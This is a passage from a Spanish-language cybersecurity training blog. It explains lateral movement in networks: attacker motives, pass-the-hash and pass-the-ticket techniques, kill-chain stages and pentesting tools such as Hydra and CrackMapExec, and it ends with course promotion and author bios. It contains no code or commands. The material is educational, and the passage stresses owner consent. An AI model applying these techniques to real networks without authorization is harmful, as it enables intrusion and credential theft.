
En particular, el ransomware ataca a los servidores internos que contienen datos cruciales para los procesos cotidianos de una organización. Esto garantiza que, una vez activado, la infección de ransomware dañará gravemente las operaciones de la organización, al menos temporalmente.

  • Exfiltración de datos: la exfiltración de datos es el proceso de mover o copiar datos fuera de un entorno controlado sin autorización.

Los atacantes exfiltran datos por diversas razones: para robar propiedad intelectual, para obtener datos personales para llevar a cabo un robo de identidad o para quedarse con los datos que roban a cambio de un rescate, como en un ataque de doxware o ciertos tipos de ataques de ransomware.

Los atacantes generalmente necesitan moverse lateralmente desde un punto inicial de compromiso para llegar a los datos que desean.

  • Espionaje: los estados-nación, los grupos de delincuencia cibernética organizados o las corporaciones rivales pueden tener sus razones para monitorear las actividades dentro de una organización.

Si el objetivo de un ataque es el espionaje en lugar de la ganancia financiera pura, los atacantes intentarán pasar desapercibidos e integrarse en la red durante el mayor tiempo posible.

Esto contrasta con los ataques de ransomware, en los que el atacante finalmente desea llamar la atención sobre sus acciones para recibir un rescate. También difiere de la exfiltración de datos, en la que al atacante puede no importarle si lo detectan una vez que obtiene los datos que buscaba.

  • Infección por botnet: los atacantes pueden agregar los dispositivos que controlan a una botnet . Las botnets se pueden utilizar con diversos fines maliciosos; en particular, se utilizan comúnmente en ataques de denegación de servicio distribuido (DDoS) .

El movimiento lateral ayuda a un atacante a agregar tantos dispositivos como sea posible a su botnet, lo que la hace más poderosa.

Técnicas

Hay muchas técnicas diferentes de movimiento lateral que los atacantes pueden utilizar, pero las más comunes incluyen:

  • Pass-the-hash: en esta técnica, un atacante roba el hash de la contraseña de un sistema y luego utiliza ese hash para autenticarse en otros sistemas de la red.
  • Pass-the-ticket: el atacante roba un ticket Kerberos de un sistema y luego lo utiliza para autenticarse en otros sistemas de la red, como directorios activos.

    Los ataques Pass-The-Ticket, como el ataque Golden Ticket o el ataque Silver Ticket, son técnicas poderosas que emplean los adversarios para realizar movimientos laterales posteriores a la explotación y escalada de privilegios.

    Con estas técnicas, los atacantes pueden obtener acceso ilimitado a cualquier punto final de la red o servicio, lo que puede causar consecuencias catastróficas.
  • Explotación de vulnerabilidades: un atacante explota vulnerabilidades en los sistemas para obtener acceso y luego utiliza ese acceso para moverse lateralmente dentro de la red.
  • Uso de credenciales robadas: el atacante roba credenciales válidas de un sistema y luego usa esas credenciales para autenticarse en otros sistemas de la red.

Cadena de ataque

Una cosa que hay que saber sobre los ciberataques es que siguen un proceso bien definido o lo que se conoce como la » cadena de ataque «. Una cadena de ataque cibernético es una metodología que utilizan los cibercriminales para ejecutar ciberataques.

Es un modelo lineal que describe los pasos de un atacante desde la identificación de un objetivo hasta la exfiltración exitosa de sus datos.

Cuando se trata de ataques de movimiento lateral, hay varias etapas en la cadena de eliminación que utilizan los atacantes:

Reconocimiento

Esta es la primera etapa del ataque con movimiento lateral y también la más importante porque prepara el terreno para el resto del ataque. Durante esta fase, los atacantes recopilan la mayor cantidad posible de información sobre su objetivo.

Esto incluye la recopilación de datos sobre la infraestructura de la red, los usuarios y los sistemas. Utilizan herramientas como Google dorks, redes sociales y otras técnicas de inteligencia de código abierto (OSINT) para recopilar datos sobre su objetivo.

Una etapa de reconocimiento también incluirá:

  • Identificación de objetivos potenciales.
  • Descubriendo sus vulnerabilidades.
  • Descubra qué terceros están vinculados a ellos (y a qué información útil pueden acceder).
  • Explorar puntos de entrada existentes (y encontrar otros nuevos).

Además, el reconocimiento puede realizarse en línea y fuera de línea.

Robo de credenciales

Este paso, que suele denominarse “ volcado de credenciales ”, se produce después de que el reconocimiento permita a los cibercriminales descubrir toda la información esencial sobre los objetivos potenciales.

En este caso, el atacante consolida su presencia, mantiene amenazas persistentes, obtiene información de credenciales a través de medios fraudulentos y compromete hosts adicionales para aumentar sus privilegios.

En última instancia, los atacantes obtienen el control de sus objetivos (como un controlador de dominio, un sistema importante o datos confidenciales).

Roban credenciales que les dan lo que parece ser un acceso legítimo a más convenciones de nombres de host y servidores. Después de lograr estos objetivos, los datos pueden ser exfiltrados y los dispositivos pueden ser saboteados.

Acceso de movimiento lateral

En esta etapa, los atacantes utilizan las credenciales que adquirieron en la etapa anterior para moverse lateralmente por los sistemas y expandir su presencia en la red.

Para ello, acceden a otros sistemas y dispositivos de la red mediante herramientas como el Protocolo de escritorio remoto (RDP), el Instrumental de administración de Windows (WMI) y el Bloque de mensajes del servidor ( SMB ).

Estas herramientas permiten a los atacantes moverse lateralmente a través de dispositivos y sistemas en la red sin volver a autenticarse y les brindan acceso ilimitado a datos y sistemas confidenciales.

Detección e interceptación

Esta es la etapa final de la cadena de ataque del movimiento lateral, y la más importante para proteger sus datos o los de sus clientes. Una vez que los ciberatacantes han accedido a sus sistemas, detectarlos y detenerlos puede resultar casi imposible.

Consideraciones Generales:

  • Consentimiento del Propietario: Obtener el consentimiento explícito del propietario del sistema antes de realizar pruebas de penetración.
  • Uso de Herramientas Especializadas: Utilizar herramientas especializadas, como Hydra para SSH y Telnet, o CrackMapExec para SMB y RDP, para realizar pruebas controladas.
  • Documentación Detallada: Documentar cada acción realizada, incluyendo hallazgos, exploits utilizados y resultados obtenidos.
  • Comunicación Transparente: Comunicar de manera transparente con el cliente o el propietario del sistema sobre las acciones realizadas y los resultados obtenidos.
  • Es esencial llevar a cabo estas actividades de manera ética y responsable, garantizando siempre el consentimiento del propietario del sistema y respetando las leyes y regulaciones aplicables.
  • Seguimiento Ético y Legal: Realizar todas las actividades dentro de los límites éticos y legales, evitando cualquier daño no autorizado.

Conclusión:

Al concluir este capítulo, hemos desglosado la importancia de la detección de vulnerabilidades y la escalada de privilegios en el contexto del Hacking y Pentesting. Desde la identificación precisa de puntos débiles hasta la evaluación de posibles escaladas, estas acciones informadas son esenciales para mejorar la seguridad de sistemas y redes. Recordemos que cada vulnerabilidad descubierta es una oportunidad para fortalecer las defensas digitales.

Si has querido mejorar tus habilidades en seguridad cibernética pero nunca lo has logrado, ahora es definitivamente el momento de dar el siguiente paso. Considera nuestro curso Universidad Hacking. Todo en Ciberseguridad. Curso Completo con una excelente relación calidad-precio ¡Desarrolla tus habilidades cibernéticas y avanza en tu carrera!

Pon en práctica lo aprendido

Ahora pon a prueba lo aprendido con estas preguntas y ejercicios.

No te detengas, sigue avanzando

Aquí tienes un propósito que debes considerar seriamente: si has querido mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus habilidades aprovechando nuestros cursos a un precio increíble y avanza en tu carrera! El mundo necesita más hackers…

Hacker de 0 a 100 desde las bases hasta conseguir empleo

¿Quieres iniciarte en hacking y ciberseguridad pero no sabes por dónde empezar? Inicia leyendo nuestra guia gratuita: Cómo Iniciarse en Hacking y Ciberseguridad en 2025 que te lleva de 0 a 100. Desde los fundamentos más básicos, pasando por cursos, recursos y certificaciones hasta cómo obtener tu primer empleo.

Hemos creado una ruta de 0 a 100. Un plan de desarrollo que va desde las bases: cómo aprender hacking, qué aprender, en qué orden; pasando por las areas técnicas necesarias como Linux, Redes, Programación y los conocimientos necesarios en ciber seguridad, hacking, pentesting hasta la práctica y el inicio laboral: Crear tu propio laboratorio, certificaciones, adquirir experiencia e iniciarse laboralmente.

Este es un mega post. Una guía con más de 300 artículos que te llevaran por el camino del hacker. Esta guía es gratuita y esta creada gracias al esfuerzo y al trabajo combinado de Alvaro Chirou y mío (Laprovittera Carlos).

Creamos esta guía (futuro curso) para que puedas iniciarte en este mundo. Puedes arrancar ahora, GRATIS, solo necesitas un PC, conexión a internet y paciencia (Ser hacker NO ES un camino de la noche a la mañana).

El Hacking y la ciberseguridad es una carrera divertida, emocionante y gratificante que te recompensará y desafiará por igual. Sin embargo, para quienes buscan adentrarse en este campo en auge y en constante evolución, puede resultar difícil saber por dónde empezar. ¡Ahí es donde entra en juego nuestra guía en ciberseguridad!

Esta es la hoja de ruta hacia el trabajo de ciberseguridad de tus sueños. Te ayudará a entender qué conocimientos, habilidades y certificados son necesarios para alcanzar tus metas profesionales y tener una carrera próspera. Si quieres ser consultor de ciberseguridad, analista de malware, evaluador de penetración, analista de SOC o cualquier otro puesto de ciberseguridad, esta guía es lo que necesitas.

Lo que vas a aprender en esta guía de Hacking y Ciberseguridad

Esta guía va a tener una actualización constante durante todo el año. Para no hacer de esta guía un post maratónicamente largo voy a dividirlo en varios capítulos que van desde como iniciar en hacking y ciberseguridad, pasando por conocimientos básicos como Redes, Linux, Programación, Hasta como obtener certificaciones y trabajo. Cada capítulo contiene links a otros posts en donde desarrollo mejor cada tema y a webs externas que complementan este material.

Esta es la guía completa de Cómo Iniciarse en Hacking y Ciberseguridad en 2025:

Aprende con nuestros más de 100 cursos que tenemos disponibles para vos

¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?

Sobre los autores

Álvaro Chirou

Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.800.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma. Puedes seguirme en mis redes:

Laprovittera Carlos

Soy Laprovittera Carlos. Con más de 20 años de experiencia en IT brindo Educación y Consultoría en Seguridad de la Información para profesionales, bancos y empresas. Puedes saber más de mi y de mis servicios en mi sitio web: laprovittera.com y seguirme en mis redes:

Compartimos estos recursos para ayudar a la comunidad de hacking y ciberseguridad. COMPARTE y Siéntete libre de agregar más sugerencias en los comentarios a continuación, respondemos todos y cada uno de los comentarios.